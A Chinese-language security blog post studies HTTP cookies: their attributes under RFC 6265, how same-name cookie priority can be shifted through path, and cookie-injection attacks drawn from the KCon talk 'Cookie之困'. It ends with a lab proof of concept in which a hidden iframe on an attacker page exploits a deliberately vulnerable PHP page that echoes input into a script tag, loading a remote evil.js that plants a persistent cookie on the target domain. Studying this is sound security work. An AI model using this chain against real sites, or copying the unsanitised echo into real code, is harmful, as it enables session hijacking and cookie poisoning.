0x00 前言
早些时候在gayhub翻安全大会的paper,翻到了kcon的一些paper。
https://github.com/knownsec/KCon
从前辈们的paper中学到了不少,也产生了不少疑问。
这篇文章是对kcon 2015年清华大学网络安全实验室走马前辈的《cookie之困》(https://github.com/knownsec/KCon/blob/master/2015/Cookie%20%E4%B9%8B%E5%9B%B0.pdf)所引发的一些总结和思考。
走马前辈从中间人的攻击角度给出了很多例子,对cookie的各个特性,场景应用研究的非常彻底。
向前辈们致敬!!
0x02 cookie的用途
因为HTTP协议是无状态的,即服务器不知道用户上一次做了什么,这严重阻碍了交互式Web应用程序的实现。在典型的网上购物场景中,用户浏览了几个页面,买了一盒饼干和两瓶饮料。最后结帐时,由于HTTP的无状态性,不通过额外的手段,服务器并不知道用户到底买了什么。 所以Cookie就是用来绕开HTTP的无状态性的“额外手段”之一。服务器可以设置或读取Cookies中包含信息,借此维护用户跟服务器会话中的状态。
在刚才的购物场景中,当用户选购了第一项商品,服务器在向用户发送网页的同时,还发送了一段Cookie,记录着那项商品的信息。当用户访问另一个页面,浏览器会把Cookie发送给服务器,于是服务器知道他之前选购了什么。用户继续选购饮料,服务器就在原来那段Cookie里追加新的商品信息。结帐时,服务器读取发送来的Cookie就行了。
Cookie另一个典型的应用是当登录一个网站时,网站往往会请求用户输入用户名和密码,并且用户可以勾选“下次自动登录”。如果勾选了,那么下次访问同一网站时,用户会发现没输入用户名和密码就已经登录了。这正是因为前一次登录时,服务器发送了包含登录凭据(用户名加密码的某种加密形式)的Cookie到用户的硬盘上。第二次登录时,(如果该Cookie尚未到期)浏览器会发送该Cookie,服务器验证凭据,于是不必输入用户名和密码就让用户登录了。
(来源于wiki)
0x03 cookie的分类
根据时效的分类,cookie一般分为临时cookie和永久cookie。
1,临时cookie,存储在内存中,关闭了浏览器,cookie也就失效了。不设置时效,默认为临时cookie。
2,永久cookie,存储在硬盘中,根据expires/Max-Age设置的时效来存储,到期了才会失效。
0x04 cookie的属性
根据rfc 6265标准,cookie拥有以下几个个属性。
1,name=value
name=value,就是我们平常设置的cookie键值对,浏览器传输给服务器的时候也是传输这个键值对。
2,expires:绝对过期时间
如果这个属性的值不能被转换为日期,客户端会忽略该属性。当同一个cookie两次请求的expires值不相同时,新的可能会替换旧的。
3,Max-Age:相对过期时间,以秒为单位。
如果该属性的值不是数字,客户端将不做处理。
4,path:指定了与cookie关联在一起的网页。
默认情况下,cookie会和创建它的网页以及与这个网页处于同一个目录下的网页和处于该目录的子目录下的网页关联,同时不能用这个属性来确定安全性
5,domain:如果没有设置cookie的domain值,该属性的默认值就是创建cookie的网页所在的服务器的主机名
6,secure:它指定了在网络上如何传输cookie值。
默认情况下,cookie是不安全的,也就是说,他们是通过一个普通的、不安全的http链接传输的。但是如果将cookie标记为安全的,那么它将只在浏览器和服务器通过https或其他安全协议链接是才被传输。这个属性只能保证cookie是保密的。
7,httponly
设为true后,只能通过http访问,不能通过document.cookie获取设定为httponly的键值,防止xss读取cookie。
由于cookie是存放在客户端(浏览器)的,所以具有写时带属性,读时无属性的特性。
举个栗子:
服务端:Set-Cookie: user=r00tuser;domain=.cnblogs.com;path=/;
传输:Cookie:user=r00tuser;
0x05 如何设置cookie
有两种方式。
1,服务端
比如用php设置cookie,在taobao.com上设置一个1小时候后过期的cookie,键值对为test=test。
<?php
setcookie("test", "test", time()+3600, "/", ".taobao.com");
?>
2,js 设置一个1天后过期的cookie。
<script>var Days = 1;
var exp = new Date();
exp.setTime(exp.getTime() + Days*24*60*60*1000);
document.cookie='test=test;expires='+exp.toGMTString()+";domain=.taobao.com;path='/';";
</script>
cookie通过【name,doamin,path】来确定其唯一性,倘若三个属性都一样方为同一个cookie。
0x06 cookie的一些基础“特性”
引用走马前辈的几张图:
0x07 cookie的一些问题
1,同名
当cookie遇到同名!
为什么会遇到同名呢?这就和cookie的机制有关了(写时带属性,读时无属性)。
假若遇到下面这种情况就会产生同名了,
服务端代码如下:
<?php
setcookie("test", 'test1', time()+3600, "/", ".a.com");
setcookie("test", 'test2', time()+3600, "/", "www.a.com");
?>
就会产生这样的cookie,两个同名的cookie,但其实它们是不同的。因为cookie的唯一性是由[name,domain,path]来决定的,虽然name是一致的,但是其他的不一样。
当遇到同名的时候,后端应该怎么处理呢?
rfc是这么规定的:
也就是说没有标准。其实这里还有一个问题,浏览器传输同名cookie时,出现的先后顺序是怎么规定的呢?(后面会讲到)
那么就看大伙怎么实现了。
而这个优先级顺序就曾导致了不少问题。像是p神的这个例子.
知乎某处XSS+刷粉超详细漏洞技术分析(https://www.leavesongs.com/HTML/zhihu-xss-worm.html)
p神这里利用的就是服务器Server对于cookie处理的优先级问题。
因为这里用的是python,所以取的是后者。如果后端用的是php,那么取的就是前者了。
如果后端用的是php,那么这个时候,我们要怎么办呢?有没有什么办法改变我们cookie的优先级?
0x08 cookie的优先级
根据rfc文档
1,通过修改path。
比如这样的一个页面:http://a.com/sites/index.php?id=1
server 返回的cookie是这样子的:Set-Cookie:user=r00tuser;domain=.a.com;path=/;
那么我们就可以设置这样的cookie:Set-Cookie:user=attacker;domain=.a.com;path=/sites/;
本地测试一下,后端php代码:
<?php
setcookie("user", 'r00tuser', time()+3600, "/", ".a.com");
setcookie("user", 'attack', time()+3600, "/sites/", "www.a.com");
?>
传输顺序:
2,同path的情况下,通过创建时间修改优先级。
这个应该是没有办法的,因为后端创建肯定会比用js创建的快。
走马前辈的是在中间人攻击的场景下才有效。
但其实有path这个已经足以。
0x09 cookie的攻击与利用
在《cookie之困》paper中走马前辈列举了很多场景和例子。
比如https下,HSTS下应该如何利用与绕过。
https下可以通过secure覆盖cookie。
造成的问题有:
1,注入造成的xss。
源于对cookie的盲目相信,认为cookie都是后端传过来的。
比如我在某src也是发现了一个盲目相信cookie的问题,也正是因为这个,才会引出后面对cookie的研究。
2,注入替换session,https页面并非一个页面,多个页面拼凑而成。
走马前辈在pdf里面讲了很多,举了不少例子。
比如京东的
比如gmail的
还有某银行的。。
3,面对HSTS的407注入攻击(不是很懂)
找到了篇文章(http://blog.csdn.net/yanghuan313/article/details/53001332)
还有道哥的,但道哥的图挂掉了(http://blog.chinaunix.net/uid-27070210-id-3254743.html)
4,通用性攻击等
哪天出了个0day的时候,我们就可以利用domain,path精确控制攻击点,进行批量攻击了。
5,穿越时间的炸弹
设置一个永久的cookie,控制好domain与path,就能达到穿越时间的效果了。这个雷埋下了,就看什么是被人踩到了。
具体还请查看走马前辈的paper。
以上,是基于走马前辈的一些总结。
0x10 cookie攻击之远程种植恶意cookie。
前辈的攻击场景是基于中间人的,那么我们有没有什么办法远程攻击?
比如说达到用户浏览了恶意网站就种下恶意cookie的效果。
根据rfc 6265的标准
以www.domain.com为例,H 为www,D为.domain.com
4.3.2 Rejecting Cookies To prevent possible security or privacy violations, a user agent
rejects a cookie (shall not store its information) if any of the
following is true: * The value for the Path attribute is not a prefix of the request-
URI.
PATH属性的值不是请求URI的前缀。(意思是path必须是当前请求url的一个前缀,比如path=/ url=/sites/)
* The value for the Domain attribute contains no embedded dots or
does not start with a dot.
域属性的值不包含嵌入的点或不以点开头。(意思是必须包含嵌入的.或者以.开头)
* The value for the request-host does not domain-match the Domain
attribute.
(请求主机的值与域属性不匹配。)
* The request-host is a FQDN (not IP address) and has the form HD,
where D is the value of the Domain attribute, and H is a string
that contains one or more dots.
(大概意思是标准域名中,头部包含了一个或者多个.)
Examples: * A Set-Cookie from request-host y.x.foo.com for Domain=.foo.com
would be rejected, because H is y.x and contains a dot.
(如果请求设置cookie domain=.foo.com 的主机是y.x.foo.com是会被拒绝的,因为头部y.x包含了一个.)
1,直接通过attacker.com设置target.com的cookie?
rfc文档第三条教你做人,实验发现确实是不行的。(无论是通过js或者服务端来设置都是不行的)
2,渗透下target.com下的子域站点
可行,但成本高
3,找到子域或者目标域的xss(flash)
可行,成本相对会低一点
攻击链应该是这样子的:(以反射xss为例)
本地实践了一下:
a.com 为 attacker
b.com:88 为target.com
a.com目录下的文件为
evil.php代码
<html>
<iframe src="http://www.b.com:88/xss.php?id=http://www.a.com/evil.js" style="display:none" width="0" height="0"></iframe>>
</html>
evil.js
var Days = 1;
var exp = new Date();
exp.setTime(exp.getTime() + Days*24*60*60*1000);
document.cookie='test=setcookie from a.com by js;expires='+exp.toGMTString()+";domain=.b.com;path='/';";
b.com目录下的文件为:
xss.php代码
<html>
<head>
<title>evil cookie xss</title>
</head>
<body>
<script src="<?php echo $_GET['id'];?>">
</script>
</html>
访问一下a.com/evil.php,成功种下cookie。
burp记录了整个过程
其实本来xss就能玩cookie。。。这里只是从cookie注入的角度去思考!
。。。
攻击方法应该还有很多,希望大佬们能够给出更多的意见。
0x11 总结
向前辈致敬!紧跟大佬们的脚本,多看看rfc文档~